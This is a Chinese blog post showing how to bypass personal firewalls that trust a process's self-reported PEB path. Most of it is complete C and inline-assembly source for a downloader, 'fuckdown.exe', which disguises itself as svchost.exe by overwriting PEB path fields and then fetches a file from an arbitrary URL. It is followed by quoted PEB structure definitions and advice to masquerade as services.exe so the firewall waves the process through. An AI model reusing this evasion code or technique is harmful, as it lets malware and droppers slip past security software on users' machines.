防火墙普遍存在的设计缺陷--关于进程路径的获取

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<script type="text/javascript">function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}</script> 作者:RonCha 当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。 问 题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信 息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。 DEMO代码如下,如需更完整的信息请与我联系:

 

//  fuckdown.cpp : Defines the entry point for the console application. // //   [9/19/2006 RonCha] #include  " stdafx.h " #include  < urlmon.h > #pragma  comment(lib,"urlmon.lib") char  szpath[MAX_PATH] = {0} ; OLECHAR path[MAX_PATH] = {0} ; void  ChangPath(); int  main( int  argc,  char *  argv[]) {     //修改路径     ChangPath();     if (argc==3)     {          if (argv[1]!="" && argv[2]!="")          {             HRESULT hRet=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);             if(hRet==S_OK)                 printf(" Down Success! ");             else                 printf(" Can't down the file! ");             return 1;          }     }     printf("Author:RonCha ");     printf("Web:http://blog.youkuaiyun.com/RonCha ");     printf("Usage:fuckdown.exe downurl savepath ");     return 0; } void  ChangPath() {     //将该进程伪装为svchost.exe     int slen;     slen=GetSystemDirectory(szpath,MAX_PATH);     slen=GetSystemDirectory(szpath,slen);     lstrcat(szpath,"/svchost.exe");     //转化为Unicode字符     MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);     __asm     {                         MOV EAX, fs:[30h]            //get the PEB address             MOV EAX, [EAX+0xC]             //_PEB_LDR_DATA             MOV EAX, [EAX+0xC]             //InLoadOrderModuleList             lea ebx,path             mov WORD ptr[EAX+0x24],0x60  //FullDllName->Length             mov [EAX+0x28],ebx             //FullDllName->Buffer             MOV EAX, fs:[30h]             mov EAX,[EAX+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS              lea EAX,[EAX+0x3c]             //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer             lea ebx,path             mov [eax],ebx                 //ImagePathName->Buffer             mov WORD ptr[eax-4],0x60     //ImagePathName->Length             MOV EAX, fs:[30h]             mov EAX,[EAX+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS              lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer             lea ebx,path             mov [eax],ebx                //CommandLine-->Buffer             mov WORD ptr[eax-4],0x60    //CommandLine-->Length     } }

 

 


 另从邪恶八进制获得:

 

PEB(Process Environment Block)——进程环境块,存放进程信息,每个进程都有自己的 PEB 信息。在 Win 2000 下,进程环境块的地址对于每个进程来说是固定的,在 0x7FFDF000 处,这是用户区内存,所以程序能够直接访问。准确的 PEB 地址应从系统的 EPROCESS 结构的 1b0H 偏移处获得,但由于 EPROCESS 在进程的核心内存区,所以程序不能直接访问。还可以通过 TEB 结构的偏移 30H 处获得 PEB 的位置,代码如下: mov eax,fs:[18] mov eax,[eax+30] PEB 及其相关结构如下: typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);

typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;

typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; UNICODE_STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE;

typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; PVOID ConsoleHandle; ULONG ConsoleFlags; HANDLE StdInputHandle; HANDLE StdOutputHandle; HANDLE StdErrorHandle; UNICODE_STRING CurrentDirectoryPath; HANDLE CurrentDirectoryHandle; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingPositionLeft; ULONG StartingPositionTop; ULONG Width; ULONG Height; ULONG CharWidth; ULONG CharHeight; ULONG ConsoleTextAttributes; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopName; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB_FREE_BLOCK { struct _PEB_FREE_BLOCK *Next; ULONG Size; } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;

typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PPEBLOCKROUTINE FastPebLockRoutine; PPEBLOCKROUTINE FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID *KernelCallbackTable; PVOID EventLogSection; PVOID EventLog; PPEB_FREE_BLOCK FreeList; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[0x2]; PVOID ReadOnlySharedMemoryBase; PVOID ReadOnlySharedMemoryHeap; PVOID *ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; BYTE Spare2[0x4]; LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID **ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PVOID LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; ULONG OSBuildNumber; ULONG OSPlatformId; ULONG ImageSubSystem; ULONG ImageSubSystemMajorVersion; ULONG ImageSubSystemMinorVersion; ULONG GdiHandleBuffer[0x22]; ULONG PostProcessInitRoutine; ULONG TlsExpansionBitmap; BYTE TlsExpansionBitmapBits[0x80]; ULONG SessionId; } PEB, *PPEB;

PEB 结构中的 PPEB_LDR_DATA 是一个指向 PEB_LDR_DATA 的指针,PEB_LDR_DATA 结构中有 3 个 LIST_ENTRY 的指针,分别是 InLoadOrderModuleList; InMemoryOrderModuleList; InInitializationOrderModuleList,如此循环。可以通过这三个 LIST_ENTRY 结构来遍历进程加载的模块。LDR_MODULE 结构中的 FullDllName 成员便是一个包含模块名信息的 UNICODE_STRIN 结构,它的成员 Buffer 即是指向存放模块名的 UNICODE 字符串指针。还有要注意的是,RTL_USER_PROCESS_PARAMETERS 结构中的 ImagePathName.Buffer 和 LoaderData->InLoadOrderModuleList.Flink->FullDllName.Buffer 指向的其实是同一内存。

 

在 Windows 2000 下,枚举系统进程的方法无外乎通过 Tool Help 函数,或是 PSAPI 函数。这两类函数虽然接口不同,但最后还是通过调用 NTDLL.DLL 中导出的 NtQuerySystemInformation 函数来实现的。这些函数最终是通过 LDR_MODULE 中指向的那些模块信息来实现进程和模块名字查询的。所以,只要修改 LDR_MODULE 指向的那些信息就能实现改变进程名或模块名。注意那些字符串都是 unicode 形式的,改的时候别忘了。

 

这样改过之后虽然能够骗过 EnumProcessModules 和 Module32First、Module32Next 函数,但若使用 Process32Next、Process32First 函数,PROCESSENTRY32 结构中的 szExeFile 还是会如实的返回 EXE 文件名,如此一来,在“windows 任务管理器”里就穿邦了,即便你改了 BaseDllName 也没用。别急,当然还是有办法改的。不知诸位有没有注意到,用 Delphi 编译出来的可执行文件,如果你没改工程名的话,无论你怎么改可执行文件的文件名,在“windows 任务管理器”中总是显示“project1.exe”,具体什么原理我也不清楚。哪位有兴趣可以反汇编一下,看看具体是如何实现的,我的汇编功底太差了。

 

不过这样就够了,你可以做个试验,用以上方法改变一个有上网请求的进程的 ImagePathName,然后看看防火墙有什么反映。果然,被骗过去了。用这个方法就可以“穿透”防火墙了。

 

那具体应该改为哪个程序名呢?在 windows 2000 下,C:/WINNT/system32/services.exe 负责DNS解析等任务,总是被允许上网的,所以改成“C:/WINNT/system32/services.exe”就可以了。
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